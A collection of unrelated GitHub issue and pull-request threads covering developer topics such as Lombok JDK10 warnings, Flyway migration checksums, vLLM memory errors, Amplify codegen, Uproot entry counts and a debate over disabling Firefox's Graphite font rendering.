Add assert true hitter rule

closes #242
@volodya-lombrozo take a look, please

PR-Codex overview
This PR focuses on adding a new rule, RuleAssertTrueHitter, to check for the "assertTrue(true)" assertion in test cases.
Detailed summary:

Added RuleAssertTrueHitter to check for the "assertTrue(true)" assertion.
Added RuleAssertTrueHitterTest to test the RuleAssertTrueHitter class.
Added documentation for the RuleAssertTrueHitter in assert-true-hitter.md.

The following files were skipped due to too many changes: src/main/java/com/github/lombrozo/testnames/rules/RuleAssertTrueHitter.java

✨ Ask PR-Codex anything about this PR by commenting with /codex {your question}

@volodya-lombrozo good suggestions, I'll fix it a bit later

@volodya-lombrozo take a look again, please
fixed all, maybe didn't notice something

@volodya-lombrozo take a look, please

@rultor merge

@rultor merge

@volodya-lombrozo OK, I'll try to merge now. You can check the progress of the merge here

@rultor merge

@volodya-lombrozo Done! FYI, the full log is here (took me 3min)

@rultor release, tag is 1.1.0, title is 1.1.0

@rultor release, tag is 1.1.0, title is 1.1.0

@volodya-lombrozo OK, I will release it now. Please check the progress here

@rultor release, tag is 1.1.0, title is 1.1.0

@volodya-lombrozo Done! FYI, the full log is here (took me 3min)


JDK10 Illegal reflective access

I'm not quite sure what I'm looking at.
Please request any information that you might need.
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by lombok.javac.apt.LombokProcessor to field com.sun.tools.javac.processing.JavacProcessingEnvironment.discoveredProcs
WARNING: Please consider reporting this to the maintainers of lombok.javac.apt.LombokProcessor
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

Came up when trying to compile my code with maven 3.5.3.
I'm not using any experimental features AFAIK 😄

i have this issue
Fatal error compiling: java.lang.ExceptionInInitializerError: com.sun.tools.javac.code.TypeTags -> [Help 1]

Fixed in the edge release.

Is there a schedule for the next release on maven central that works with JDK 10?

Probably this week.

Any update on the release plans?

Yes, probably within a few hours.

We did release 1.16.22, but I recommend waiting for 1.18.0, which will be released very soon.


Backport the delayUntil property

I had need of this for one of my own projects, so I've back ported the delayUntil property to the Vapor 3.x branch.

Is there any love for this? I'm going to start work on backporting the changes from master to support running jobs without spinning up a second instance of the app (as discussed in #41). I would prefer to start with this branch as a base.

@tanner0101 Ping on this when you get a chance, please


flyway - changing the existing script

If I have a change in existing script, I am unable to do directly go ahead & make changes in the same file. Flyway doesn't accept it (throws error saying checksum doesn't match). Is alter or new script the only way to go? Right now I am working on dev env, I did not promote my code yet to higher env. During my dev phases I might have to make changes in the same script and then finalize it before going to prod.
I am truncating flyway_schema_hist table, dropping all the objects that I created & then re-running flyway for every change I try to make in the existing script. Can you suggest me an easy way to handle such scenarios?

Flyway has a built in command to perform the tasks you mention. Flyway clean.
So an example use would be every time you change the script on disk and want to rerun it, you can do a flyway clean then a flyway migrate to execute the latest version of the scripts.
Does that answer your question?

Ya I see but should we really clean the whole thing and then re do if I
make changes in any of the script.  Is there any way to clean things
related to only that particular script without impacting the others
On Thu, Mar 26, 2020, 6:31 AM Philip Liddell<EMAIL_ADDRESS>wrote:

Flyway has a built in command to perform the tasks you mention. Flyway
clean https://flywaydb.org/documentation/command/clean.
So an example use would be every time you change the script on disk and
want to rerun it, you can do a flyway clean then a flyway migrate to
execute the latest version of the scripts.
Does that answer your question?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/flyway/flyway/issues/2739#issuecomment-604350942, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ANXA2SZX2P4NYKRF3I2ZBS3RJMVGHANCNFSM4LTT7SSQ
.

If you have a flyway pro license you can write an undo migration to undo your changes. Then instead of running flyway clean you would be able to run flyway undo to undo your last migration, then rerun flyway migrate.
Without that however Flyway has no way of knowing exactly what was created by a script, as that would require implementing the internal logic of 20+ database engines (not feasible).

got it, so without a license you mean to say no way we could undo one
specific migration ? only thing what we can do is , just clean everything
and then retry that's all?
On Thu, Mar 26, 2020 at 1:19 PM Philip Liddell<EMAIL_ADDRESS>wrote:

If you have a flyway pro license you can write an undo migration
https://flywaydb.org/getstarted/undo to undo your changes. Then instead
of running flyway clean you would be able to run flyway undo to undo your
last migration, then rerun flyway migrate.
Without that however Flyway has no way of knowing exactly what was created
by a script, as that would require implementing the internal logic of 20+
database engines (not feasible).
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/flyway/flyway/issues/2739#issuecomment-604559764, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ANXA2S7KFHPTIRRP4P4KDF3RJOFA7ANCNFSM4LTT7SSQ
.

--
Regards,
Swapna Ravi

That is correct. The pro license is what gets you access to the advanced features like undo.

Can you tell me the spring boot  application properties to clean for flyway
On Thu, Mar 26, 2020 at 1:27 PM Philip Liddell<EMAIL_ADDRESS>wrote:

That is correct. The pro license is what gets you access to the advanced
features like undo.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/flyway/flyway/issues/2739#issuecomment-604565334, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ANXA2S4JC7TNL7YHDI5HDFLRJOF7VANCNFSM4LTT7SSQ
.

--
Regards,
Swapna Ravi

The flyway spring boot integration is not created by us. You will have better luck asking these questions on the spring boot forums, or stack overflow.


While this is obvious in retrospect, this is easy to miss, since some CI environments perform shallow clones by default.
Moreover, the error message is not 100% explicit (in retrospect, it makes sense though):
Unexpected error when creating release: Unrecognized branch 'main'. Available branches are: []

Since there is a way to detect shallow clones (see https://stackoverflow.com/questions/37531605/how-to-test-if-git-repository-is-shallow), it would be nice to issue at least an explicit warning (after all, the clone may be "deep" enough for the computation) when computing change log on shallow clones?
Maybe another option would be to allow the change log computation to become completely independent from the local clone.

Hi,
I would love to work on this if help is still needed.
Thanks,
Aiden

@aidenzzz very well, thank you for stepping up! 😄
Changes should be added (at least) to these classes:
Instance method that checks if the current repository is shallow
https://github.com/jreleaser/jreleaser/blob/main/sdks/git-sdk/src/main/java/org/jreleaser/sdk/git/GitSdk.java
Add a check here. Log a warning when repository is shallow
https://github.com/jreleaser/jreleaser/blob/main/sdks/git-sdk/src/main/java/org/jreleaser/sdk/git/ChangelogGenerator.java#L181

JGit does not seem to support checking if a repo is shallow or not. Would checking if./.git/shallow exists be the easiest way to determine if the repo is shallow?

That might do the trick.


Support for modified or localized incident text

Since Cachet supports different locales, is it doable to have the text of the reported incident localized somehow? This can be solved also if a one can change the text itself via configuration for example.

Yeah we should provide customisable messages. I think text/template will be handy for this, you'll be able to plug in custom variables as needed.
I wonder if the API error messages are in the setup locale.

Released as part of v3.


Add support for Sourcegraph

This PR adds support for the Sourcegraph CLI. Fixes https://github.com/1Password/shell-plugins/issues/144.
Couple of notes:

The CLI does not support config file imports. The CLI always expects the Sourcegraph instance host address and the access token to be set as environment variables.
The ManagementURL isn't set for now because it's dynamic depending on the Sourcegraph instance host address and the username. In my case, it is https://sourcegraph.com/users/arun/settings/tokens. This case is similar to what happened with ReadMe, so based on this advise from @SimonBarendse, I haven't included ManagementURL field. When Shell Plugins support setting of dynamic ManagementURLs, we can update this plugin.

Here's a quick visualization of the plugin flow:
➜  shell-plugins git:(add/sourcegraph) src login

❌ Problem: No access token is configured.

🛠  To fix: Create an access token at https://sourcegraph.com/user/settings/tokens, then set the following environment variables:

   SRC_ENDPOINT=https://sourcegraph.com
   SRC_ACCESS_TOKEN=(the access token you just created)

   To verify that it's working, run this command again.

➜  shell-plugins git:(add/sourcegraph) op plugin init src
############################################################################
# WARNING: 'sourcegraph' is not from the official registry.                #
# Only proceed if you are the developer of 'sourcegraph'.                  #
# Otherwise, delete the file at /Users/arun/.op/plugins/local/sourcegraph. #
############################################################################

Sourcegraph CLI [test build]
Authenticate with Sourcegraph Access Token.

? Locate your Sourcegraph Access Token: Sourcegraph Access Token (Personal)

? Configure when "Sourcegraph Access Token" will be used to authenticate: Prompt me for each new terminal session

The last step is to set up an alias for src.
You can do so by running the following command:

  source /Users/arun/.op/plugins.sh

Afterwards, run any src command to see it in action!
➜  shell-plugins git:(add/sourcegraph) source ~/.op/plugins.sh
➜  shell-plugins git:(add/sourcegraph) src login
############################################################################
# WARNING: 'sourcegraph' is not from the official registry.                #
# Only proceed if you are the developer of 'sourcegraph'.                  #
# Otherwise, delete the file at /Users/arun/.op/plugins/local/sourcegraph. #
############################################################################

✔  Authenticated as arun on https://sourcegraph.com

Happy to address any feedback, thanks!

Thanks for reviewing, all of you! I have addressed your comments and welcome any other feedback.

Thanks for reviewing, all of you! I have addressed your comments and welcome any other feedback.

@arunsathiya I don't see any changes since last reviewed, is it possible that you pushed them on a different branch?

Sorry about the lack of clarity, @hculea. I meant that I have addressed your feedback verbally. The only pending change is renaming HostAddress field to Endpoint and I am waiting for a clarification on how to proceed with AccessToken vs Token. I wanted to address both suggestions in the code at the same time.
Anyway, I have updated to Endpoint for now.

Thanks for clarifying. Please, have a look over the thread I started as well: https://github.com/1Password/shell-plugins/pull/146#discussion_r1071961934


invalid table id %d, no correspond table map event

As TableMapEvent and WriteRowsEventV2 are non-atomic, how can program work when TableMapEvent is processed but program restart, which makes goroutine named "onStream()" exit?

Hi @zhapuyu
If we have processed TableMapEvent and then restart, the following event may miss the table id when we sync from last saved position.
I have no way to fix it now, maybe we can not save position for TableMapEvent?

yes .  That's a suitable way to fix the problem.
https://github.com/siddontang/go-mysql/pull/49 . Please.


sim doesn't warn user when there's no target

some newbie users stuck malding wondering why there's 0 damage. dev plz do something

fine....


Change counter does not get reset after committing changes

Description
The change counter does not get reset after committing changes. This bug got introduced in the last release.
Version
2.1.0
What browser are you seeing the problem on? What version are you running?
No response
The OS you're using
No response
Steps to reproduce
No response
The browser URL at the time you encountered the bug
any
The auto-detected useragent string for your browser (leave blank if you're manually filling this form out)
No response

oh yea, this is #1060 - @Bonkles fixed it already 👏
We'll probably release a patch in the next day or two with the fix.


Deployment to DevEdition fails

Errors
Failures:
classes/flowtb_FlowFactory.cls(7,24):Invalid type: TestA
pages/flowfactory.page(flowfactory):Static Resource named jszip does not exist. Check spelling.
classes/flowtb_FlowFactoryTest.cls(9,42):Dependent class is invalid and needs recompilation:
flowtb_FlowFactory: line 7, column 24: Invalid type: TestA

This has now been fixed. Thanks! 👍


chroma func _similarity_search_with_relevance_scores missing "kwargs" parameter

System Info
LangChain: v0.0.214
Who can help?
No response
Information

[ ] The official example notebooks/scripts
[ ] My own modified scripts

Related Components

[ ] LLMs/Chat Models
[ ] Embedding Models
[ ] Prompts / Prompt Templates / Prompt Selectors
[ ] Output Parsers
[ ] Document Loaders
[X] Vector Stores / Retrievers
[ ] Memory
[ ] Agents / Agent Executors
[ ] Tools / Toolkits
[ ] Chains
[ ] Callbacks/Tracing
[ ] Async

Reproduction
https://github.com/hwchase17/langchain/blob/v0.0.214/langchain/vectorstores/base.py#L410
https://github.com/hwchase17/langchain/blob/v0.0.214/langchain/vectorstores/chroma.py#L225
https://github.com/hwchase17/langchain/blob/v0.0.214/langchain/vectorstores/chroma.py#L198
The filter option does not work when search_type is similarity_score_threshold
Expected behavior
work:
def _similarity_search_with_relevance_scores(
        self,
        query: str,
        k: int = 4,
        **kwargs: Any,
    ) -> List[Tuple[Document, float]]:
        return self.similarity_search_with_score(query, k, **kwargs)

@hwchase17 Please take a moment to take a look


add 2 commands for give (block and item)

Customies already registers the items to StringToItem parser so pocketmine /give should work


CUDA OOM for Mixtral 8x7B AWQ Tensor Parallelism 2

I am trying to run TheBloke/Mixtral-8x7B-Instruct-v0.1-AWQ with 2 x A10 GPUs
docker run --shm-size 10gb -it --rm --gpus all -v /data/:/data/ vllm/vllm-openai:v0.2.7 --model  TheBloke/Mixtral-8x7B-Instruct-v0.1-AWQ --quantization awq  --dtype auto --enforce-eager --disable-log-requests --tensor-parallel-size 2 --download-dir /data/

and while theoretically, it should fit it runs into CUDA OOM
I already looked at this: https://github.com/vllm-project/vllm/issues/2312
Interestingly, if I try it on 2 x A100 80GB but with --gpu-memory-utilization 0.5, it fits fine and settles to
# GPU blocks: 6487, # CPU blocks: 4096

+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|    0   N/A  N/A     86918      C   python3                         20238MiB |
|    1   N/A  N/A     89935      C   ray::RayWorkerVllm              20238MiB |
+-----------------------------------------------------------------------------+

It should be able to run fine with 2 x A10 GB too.
But even on 2 x A100 80 GB it cannot load with --gpu-memory-utilization 0.3 or --gpu-memory-utilization 0.4
File "/workspace/vllm/engine/llm_engine.py", line 114, in __init__
    self._init_cache()
  File "/workspace/vllm/engine/llm_engine.py", line 279, in _init_cache
    raise ValueError("No available memory for the cache blocks. "
ValueError: No available memory for the cache blocks. Try increasing `gpu_memory_utilization` when initializing the engine.

Maybe only the cache block calculation is incorrect?

I can't run the mixtral unquantised on 2x 48GB cards, even with small --max-model-len. Could this be related ?

Maybe you can try to increase the gpu-memory-utilization to 0.9 or 1 to see if it works.

even I got the same problem. enable the flag (--enforce-eager) to fix the issue, but it will degrade the performance compared to cuda graphs.
I am planning raise new issue on the same.


Error: Schema is not configured for subscriptions -> Not generating GraphQL API

Describe the bug
I am not able to get API.swift generated/updated when setting custom model operation names with 'null' subscriptions (removing subscriptions entirely).
To Reproduce
Steps to reproduce the behavior:

Define a 'schema.graphql' where I set custom named operations, plus 'subscriptions' to 'null'.

type Parent
  @model(
    queries:
    {
      get: "getParent",
      list: "listParents"
    },
    mutations:
    {
      create: "createParent",
      update: "updateParent",
      delete: "deleteParent"
    },
    subscriptions: null
  )
  @auth(rules: [{allow: owner, operations: [create, update, delete, read]}])
{
  id: ID!
  name: String!
  description: String
  childs: [Child] @connection(name: "ParentChild")
}

type Child
  @model(
    queries:
    {
      get: "getChild",
      list: "listChilds"
    },
    mutations:
    {
      create: "createChild",
      update: "updateChild",
      delete: "deleteChild"
    },
    subscriptions: null
  )
  @auth(rules: [{allow: owner, operations: [create, update, delete, read]}])
{
  id: ID!
  name: String!
  parent: Parent! @connection(name: "ParentChild")
  related: [Child]
}

Perform $ amplify api push (or $ amplify codegen types)

I get 'Schema is not configured for subscriptions' error, and my API.swift doesn't get updated/generated.

Schema on The AppSync Console gets updated correctly –without subscriptions, as expected–. $ amplify codegen statements is working fine.

Expected behavior
I expected to be able to configure custom schema with named operations and without subscriptions, getting the API generated by Codegen.
Desktop (please complete the following information):

OS: macOS 10.15 beta (19A546d)
amplify -v: 3.0.0

Additional context

Project target & SDK: iOS (native, swift)

Other comments
I have also tried with the following syntax:
  @model(
    queries:
    {
      get: "getParent",
      list: "listParents"
    },
    mutations:
    {
      create: "createParent",
      update: "updateParent",
      delete: "deleteParent"
    },
    subscriptions:
    {
      onCreate: null,
      onUpdate: null,
      onDelete: null
    }
  )

In this case I get the API.swift generated, but both local and cloud contain subscriptions. 'Null' is ignored.

I get same error when using the following syntax:
subscriptions: { level: OFF }

still hapenning Schema is not configured for subscriptions


1408:font graphite to inactive

tor ticket 31134 - sysrqb's link in comment 2 is awesome
what is graphite
wikipedia

I had a go a while ago on detecting if graphite was enabled or not. Didn't get anywhere, but I'm sure it is. We're pretty unique anyway, everyone is if one digs deep enough: the best FP defense is to block the scripts in the first place. And I doubt any scripts test this.
currently
/* 1408: disable graphite which FF49 turned back on by default
 * In the past it had security issues. Update: This continues to be the case, see [1]
 * [1] https://www.mozilla.org/security/advisories/mfsa2017-15/#CVE-2017-7778 ***/
user_pref("gfx.font_rendering.graphite.enabled", false);

First of all .. "this continues to be the case" is a bit misleading now. Those bugs (in the CVE) were fixed in FF55+ back in Oct 2017 .. over two years ago. And there's been nothing since. So we could at least update that with better info

FPing probably isn't an issue (if left active), but at default in this regard (inactive) is better
not that I've ever had any issues that I know of, but inactive it should reduce breakage
the risk of an exploit is now pretty much close to zero
yes, FF49 flipped it on, and there were exploits not patched until FF55. But were they in the wild or public knowledge? IDK. Its' the same as any other library/implementation. Just look at the Security advisories .. but we don't go disabling video, or IDB (which we can't anymore anyway), or textareas ...

proposed
/* 1408: disable graphite [SETUP-HARDEN]
 * In the past it has had security issues, but nothing since October 2017, see [1]
 * [1] https://www.mozilla.org/security/advisories/mfsa2017-15/#CVE-2017-7778
 * [2] https://en.wikipedia.org/wiki/Graphite_(SIL) ***/
   // user_pref("gfx.font_rendering.graphite.enabled", false);

or we just remove it, but I'd rather leave it in .. because .. touch wood
@earthlng

I had a go a while ago on detecting if graphite was enabled or not. Didn't get anywhere, but I'm sure it is.

graphite test
I'm going to guess that a downloadable font would be required for any graphic test to work

gfx.font_rendering.graphite.enabled = false
according to test page (simple test), it's enabled - FOX and DOG are upper case
would this help at all??? ...
https://phjamr.github.io/MiaoTest.html

If only the words FOX and DOG are capitalized, Graphite is not working
If you see the vowels in lower case, all consonants in upper case: then its working

THe QuiCK BRoWN Fox JuMPS oVeR THe LaZY DoG

This is using a downloadable font, so if you're blocking that then you will see it exactly as its is coded, as only FOX and DOG capitalized. Copy the text and paste it to see what I mean

would this help at all??? ...
https://phjamr.github.io/MiaoTest.html

dunno. The sil.org site actually allows you to create a font. The simple test font is also available (78kb). What I need to do is see if I can measure a difference between the default font and the graphite one. If I can, then I'll create my own graphite font with just one character so it's small AF, like I did with the woff font (2.1kb).

what can i say.... i flunked ingwish
i do have downloadable fonts enabled, but i block with an extension (which i disabled for the test)

^^

If only the words FOX and DOG are capitalized, Graphite is not working.

tor ticket 31134 - sysrqb's link in comment 2 is awesome

so, that's 55 critical defects found in a time period of ~16 months (2016-07 - 2017-10) ?!
And most of them are heap-buffer or stack overflows, segmentation faults and crashes near null?!
IMHO, that almost certainly makes Graphite still a very promising target for any skilled attacker.

And there's been nothing since

Just because nothing was found since then or maybe just wasn't made public, doesn't mean there aren't plenty more of these to be found.

the risk of an exploit is now pretty much close to zero

I wouldn't say that at all. Quite the opposite

but we don't go disabling video, or IDB (which we can't anymore anyway), or textareas

do they have similar number + types of defects?
Whatever the case may be, the TB guys want to put this pref on the security slider which means that most people will end up with the pref still disabled because who in their right mind doesn't set the security slider to at least medium?!

the TB guys want to put this pref on the security slider

If they did, then I would leave it active - but I don't think that's the case - https://trac.torproject.org/projects/tor/ticket/31134#comment:3 .. maybe I read that wrong: I'll wait and see what they land in the next alpha

do they have similar number + types of defects?

no, not similar at all ... over the last 2 years .. about a hundred more :)

dude, read the description of your own links! ;)

... Thus, we should reenable it and put it back on the security slider this time.

If they did, then I would leave it active

case closed

about a hundred more :)

source?
it's not so much about the number but more the severity and type of defect. heap-buffer and stack overflows and segmentation faults are among the ones that can often and easily lead to full exploitation

gk said

I think we don't need to adapt the text for the security settings with this change

I misinterpreted that (too lazy to click on his patches). The slider already mentions "some fonts", so I think he means it is already covered on the slider descriptions, therefore it will be a slider item.
In trying to appease you I actually said something I didn't mean - namely "If they did, then I would leave it active" ... I actually don't mean that
We're not trying to be the Tor Browser - they have a different threat model (and a slider). If the security slider includes graphite, then at standard it would be enabled: not disabled - right? As at safer, they would block it - right? So almost every FF user, and all TB users would have graphite enabled. It's a usability vs security trade-off. If TB are willing to move on it, then I think we can (this is a discussion on it, that's all)
Will it be useful: probably not for en-US users. Seems like graphite is mainly used for other non-western languages. So that's a factor to weigh up as well: e.g like punycode (we should add a setup tag to that maybe)
--
"it's not so much about the number but more the severity and type of defect" <- yeah, I get that. As for source: yesterday, I looked quickly through the sec advisories for the last 3 or 4 major releases and  mentally noted some of the items. There's always high level stuff. My point is there will always be the threat of high level exploits - but we don't stop using a browser, and unplugging ourselves from the internet, or going stallman crazy.
Not in any hurry to decide this. Just following TB's lead

I misinterpreted that

it's clearly stated in the description. nuff said

If they did, then I would leave it active

LOL, you tried to appease me and didn't actually mean that?! WTF dude!?!

I looked quickly through the sec advisories for the last 3 or 4 major releases

so when you said "over the last 2 years .. about a hundred more" you were really just pulling that out of your ass, huh?  But yes, it's not an exact count. And I wasn't only including like critical bugs, I meant all of them.

because that's totally comparable to what I said

I was being hyperbolic to get my point across. I guess I failed.

 The ticket is open for us to discuss it. Nothing is decided: the changes are proposed, a word I used in OP

using stupid exaggerations when you don't have an argument ... check

I do have an argument, and I'm playing devils advocate so we get a got discussion.  Can we get back on track please. There's nothing more to do here until TB land their patch
No comment on the other things I brought up: e.g the state of the graphite pref at each slider setting?

So, reassessing the PROPOSAL ... and outlining the pros/cons

FPing risk: very very low IMO

we will differ from almost every other FF user (comparing us to TB is not a valid point)
I seriously doubt any FP scripts bother with this
we're already unique, but that doesn't mean we shouldn't make it hard
FYI: this can already be mitigated AFAIK by blocking downloadable fonts

exploit risk

it certainly exists, as it does for any library etc (which was my point for consideration, not to be attacked over)
that there hasn't been any public bugs (or even any that Tor Project know about and they have access to denied bugzillas etc) is a good sign, but not a guarantee (not such thing)
I'm not an expert, but to use earthlng's words: "them are heap-buffer or stack overflows, segmentation faults and crashes near null?! IMHO, that almost certainly makes Graphite still a very promising target for any skilled attacker" - so yes, it's a juicy target with serious consequences
"that's 55 critical defects found in a time period of ~16 months (2016-07 - 2017-10)" can also be seen as a good sign, that researchers got stuck in and audited the fuck out of it - and nothing since (that we know of) (which was my point to be considered, not attacked over) - but that's still not a guarantee (no such thing)
just an observation, probably not really relevant: end user behavior/knowledge usually dictates exploits: i.e don't visit dodgy websites, don't click on [dodgy] email links, and so on. But that's no guarantee (no such thing)
another observation: Tor Project has some very smart knowledgeable engineers often with more insight, but that doesn't mean we have to do what they do. It's a different product, but we can take some leads from them (which was my point for consideration)

usability

from what I understand, graphite is not used for western chars (certainly not needed), but may impact our users who don't use western - see puncyode comment in the user.js. But we can add a setup tag or something (like we should for punycode)

So now that at least two heads have butted have discussed the PROPOSAL we I can make a decision. Thanks for participating in an open discussion

keep graphite active (i.e disabled): the security risk outweighs FP and usability
simplify/update graphite description to be more relevant
tag graphite and punycode for troubleshooting for non-western users

tag graphite and punycode for troubleshooting for non-western users

I didn't tag graphite as I's rather keep the tags down as much as possible as I don't believe this is much of a usability/breakage issue


fix(frontend): incorrect "value" type in InputCurrency

Motivation
While working on the conversion flow, I noticed one suspicious thing: the value prop that is controlled by InputCurrency is actually a string and not a number as it is expected to be according to the types in our codebase. It means that we incorrectly assume across the whole send flow that amount is number | undefined when it's in reality string | undefined. The same applies to the convert flow: sourceAmount was never a number.
After reading the GIX Input docs, I found this paragraph:
If the inputType is set to icp, the value bind by the component is a number. On the contrary, if bind to currency, the value is a string. This to avoid issue with scientific notation enforced by JavaScript. It is then up to you to parse the currency according your need, for example to bigint or BigNumber.

Having said that, we have quite an error-prompt situation: I noticed this issue while debugging one of the conversion services - sendAmount === 0 was always giving me false after typing 0, even though TS-wise the statement looks correct. Since in the code all send components also expect it to be a number, this may lead to the same issue.
Solution 1 (implemented in this PR): as suggested by GIX, I added an internal inputValue to the InputCurrency component which has string | undefined type, and on nnsInput I convert it to number before notifying parent. Also, provided some tests to test this behaviour.
Solution 2: update amount type everywhere where it's used. Would require a lot of changes.

@peterpeterparker @AntonioVentilii please take a look at the PR's description and code.

Wow! Good catch, it's been there forever!
Actually, I rather like solution 2. Because properties can flow up and down, I feel like it's more maintanable if we can avoid having to manipulate it therefore, I gave it a quick try and, at least from a linter perspective, it doesn’t seem too bad to implement, as I managed to put it together quickly in #3609.
WDYT?

@peterpeterparker yeah, solution 2 also work for me perfectly fine, thanks for preparing the PR! I

solution 2 also work for me perfectly fine

Cool, then let's proceed with solution 2.

Closing this PR.


refactor(Link)!: Remove normal-visitable view

BREAKING CHANGE: normal-visitable view is removed, use visitable prop instead

@helenjer Let's rebase and merge this into the next branch


Requesting uproot4.num_entries function to quickly get the number of entries without fully reading the file

Hi,
I'm in the process of using coffea for our new analysis framework (which relies on uproot4 to open files now) and noticed a dramatic slowdown especially in the preprocessing steps, which is essentially opening the files and collecting the number of events (https://github.com/CoffeaTeam/coffea/blob/384cc79a35f7874ac6399febbefa78741c7855fd/coffea/processor/executor.py#L909-L911). Turns out they're using uproot4 to do this task (instead of uproot3). I tried to "reproduce" this manually and found that uproot4 takes far more time than uproot3 in opening a file (see attached notebook for the experiments). I tried it on an example HZZ file and I see that uproot4 takes approx 13 ms more than uproot3. This effect magnifies when I use a larger dataset (nanoaod skim). While uproot4 takes around 2 seconds to open the file, uproot3 only takes 700ms or so. These times add up drastically when we try to open a lot of files while analyzing datasets and we lose out massively on performance.
Attached notebook here : https://gist.github.com/bsathian/74667c4e7d321977217cdbe4975ecdb7

The nanoaod skim is on a hadoop cluster in the UCSD CMS Tier 2, so the file can be opened by xrootd if require

Upon further digging I found that this magic function called uproot.numetries() in uproot3. Any reasons this was removed in this latest iteration?

The difference between 0.7 seconds and 2 seconds would be considered "in the noise," in the sense that the variation in opening times among different files is a lot more than a factor of 2. (Arguably, the means of these two overlapping distributions might be noticeably shifted, but we can't learn that from one example.)
However, it sounds like you have been getting good use out of Uproot 3's uproot.numentries function, which is a hacked file+tree opening path that takes advantage of the fact that fEntries is serialized at the beginning of a TTree's byte stream to read that and bail out before getting to the TBranches. If you have a lot of TBranches and need to scan a lot of files to get each one's number of entries, then this can be a time-saver. (I don't know exactly how much, as that would depend on the file, particularly the number of TBranches.)
I also didn't know that anyone was getting a lot of value out of this function, but now I do. I can take this issue to be a feature request for a uproot4.num_entries function, which I could implement the same way. In the meantime, you can use Uproot 3 to get the number of entries and Uproot 4 for everything else, until the function is ported. That's why they have different names, so that you can get the best of both while asking for features to be ported.

I also welcome this feature as we happen to do similar things (iterating over tons of files to gather some statistics and prepare some heavy processing). I also used that shortcut implementation in uproot3 😉
I am wondering if it's in general possible (in the sense that it's not too much work to implement at this stage) to somehow separate the initialisation in two parts, the one which just takes care of reading in the streamers and some metadata, and then the second part which actually initialises the streamer logic.
At least in our use-case, we often want to peek into a huge amount of files and extract a bit more information which do not require to read anything from baskets.
Of course, the bootstrapping part of uproot will always "suffer" a bit from the Python overhead. I see e.g. a factor of ~10 compared to the Julia reader when accessing the numentries of the example file HZZ.root from the OP, compared to uproot3 which takes 37ms on the same machine. The UnROOT package however does not construct any streamer logic yet, so it's really just the parsing of the TKeys, streamers and meta stuff, so I only show it to set some kind of a lower limit. I think uproot can reach that performance since I/O in Python is generally quite good:
julia> using UnROOT, BenchmarkTools
julia> @btime ROOTFile("/home/tgal/data/tmp/HZZ.root")["events"].fEntries
  3.455 ms (17430 allocations: 1.40 MiB)
2421

>>> import uproot

>>> %timeit uproot.open("/home/tgal/data/tmp/HZZ.root")["events"].numentries
37.4 ms ± 1.04 ms per loop (mean ± std. dev. of 7 runs, 10 loops each)

...on the other hand, it might be that it's not worth to bother with this due to the rare use-cases and only introduce shortcuts on demand, like this. I have not ported that part of our processing to uproot4 yet, but it might be that other things might have slowed down due to the redesign.

One of the optimizations that uproot3.numentries did is to avoid reading streamers, which can be very large, taking advantage of the fact that fEntries is one of the first serialized values, before all the version-dependent differences that require knowledge from the streamers.
Uproot 4 skips reading the streamers until a particular streamer is needed, and it comes with pre-defined streamers for all the TTree versions from the past 5 years, so it already has that advantage. One additional thing that the uproot3.numentries function did (and uproot4.num_entries should do) is that it skipped reading all of the TBranch definitions, and that must be the difference @bsathian is seeing.
Both Uproots already skip reading any embedded TBaskets unless necessary, and neither would ever read TBasket data unless requested by the array, arrays, iterate, etc. methods. So if your interest is

avoid reading streamers
do read TBranch metadata (names and types)
avoid reading any TBasket data (embedded or otherwise)

Uproot 4 already does that. There isn't anything else to shave off. The best we can do for gathering TBranch names from a file is to open it like normal. If you have a large dataset and you want to get the number of entries in each file and the names and types of the TBranches, you could try uproot3.numentries on all the files but fully open only the first (assuming they have consistent branch names and types).

This feature is currently in development at #609.


Yearn v2 on Fantom failed to sync

https://thegraph.com/hosted-service/subgraph/messari/yearn-v2-fantom?version=pending

This issue is related to #142


Private videos won't work

My employer only uses DailyMotion as a provider for his videos, so all our videos are set as private. I couldn't find a way to display this videos inside our app, being always prompted with a "[...]cannot display[...]" kind of message. Is there a way to display such videos using the SDK?

Hi @vargero,
We are working on a solution right now that will require an update of the SDK. We will keep you posted as soon as this is live.


Global method are not working

First of all, I would like to thank this team for this amazing work. I hope you continue to improve and develop this work.
I found this issue, I hope you can solve it.
When you type a global method sech as mkdate, or infolog the interpreter assume that this is undefined variable.
Many thnaks.

Global class methods are accesible and working as expected. What is not yet supported is:

Global class static methods that act as variables like infolog. Although you can access them by Global::infolog(); This is not in my scope as of now since you can access them with the workaroud using static methods.
$PredefinedFunction class static methods like mkdate. Some are supported like strFmt but some others are not. My goal is to have a general solucion that does not require implenting the methods explicitly.

After a bit of digging, looks like there is a step at standard compile time that translate the $PredefinedFunctions into IL static calls to Microsoft.Dynamics.Ax.Xpp.PredefinedFunction class.
For example, conFind(c, value) is translated into Microsoft.Dynamics.Ax.Xpp.PredefinedFunctions.qfind(c, value).

However, I did not find the actual point where this translation is done, and I don't think is worth doing.
Currently, there is a class I created called MXTXppPredefinedFunctions used as a wrapper for MS PrededefinedFunctions class and also as a source provider for autocompletion and suggestions. I'll extend this class to incorporate the rest of the methods based on this MS resource https://learn.microsoft.com/en-us/dynamics365/fin-ops-core/dev-itpro/dev-ref/xpp-run-time-functions

Predefined function definitions are now available through 8f6b0b6.

@milnet92 infolog.clear(); still shows an error. Or should I just use Global::infolog().clear(); ?

Yes, global variables are still pending to implement


sort-comp: constructor must be placed after componentWillUnmount

With sort-comp enabled and ES6 classes, the plugin reports that constructor should be after componentWillUnmount. It should be an exception...
Here's a simple example with the issue:
export default class MyClass extends React.Component {
    constructor(props) {
        super(props);
    }

    componentDidMount() {
    }

    componentWillUnmount() {
    }

    render() {
        return

;
    }
}

Currently the default configuration is:

Lifecycle methods
Custom methods
render method

constructor is not specified in any group, so it is considered as a custom method and the rule asks you to place it after componentWillUnount(the last lifecycle method).
I think I will update the default configuration to get:

constructor method
Lifecycle methods
